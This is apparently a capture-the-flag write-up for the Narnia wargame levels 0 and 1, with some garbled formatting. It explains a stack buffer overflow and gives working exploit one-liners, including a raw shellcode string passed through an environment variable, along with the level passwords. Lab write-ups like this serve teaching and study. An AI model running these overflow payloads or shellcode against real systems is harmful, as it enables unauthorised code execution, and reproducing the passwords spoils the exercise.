+I imagine that the score variable must be in the + local scope of whatever function is doing the input loop. If that’s the case, we can definitely overwrite + it, since buffer length is not being checked. Apparently stack protector has been enabled so we won’t be + able to write out of the stack frame, but that doesn’t really matter since we aren’t even given a binary + to work with.
+After trying a bunch of values, I got that 88
+ was the maximum number of A
s I was allowed to send to the
+ server before I started writing over the canary. I got a message that looked like this:
Score greater than 5 detected! You must be cheating with a score like 1094795585+
(for reference, that number is
+ 0x41414141). That means score is being scored in an int. This time, I sent \x05\x00\x00\x00
22 times, hoping that it would overwrite the
+ score variable with the exact value of 5, and it did!
We’re given a buffer of 20 characters and an + int. The program reads 24 characters from input, exactly overwriting the int. The exploit code:
+(python -c ‘print “\xef\xbe\xad\xde” * 6’; cat) | ./narnia0+
The password for level 1 is efeidiedae
.
The program we’re given will execute anything
+ at the environment variable EGG
as a function pointer; I
+ found some shellcode from google and it worked. The exploit code:
EGG=$(printf “\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\x+
ff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81”) bash -c ‘./narnia1’
The password for level 2 is nairiepecu
.
Level 2
+soon lol
+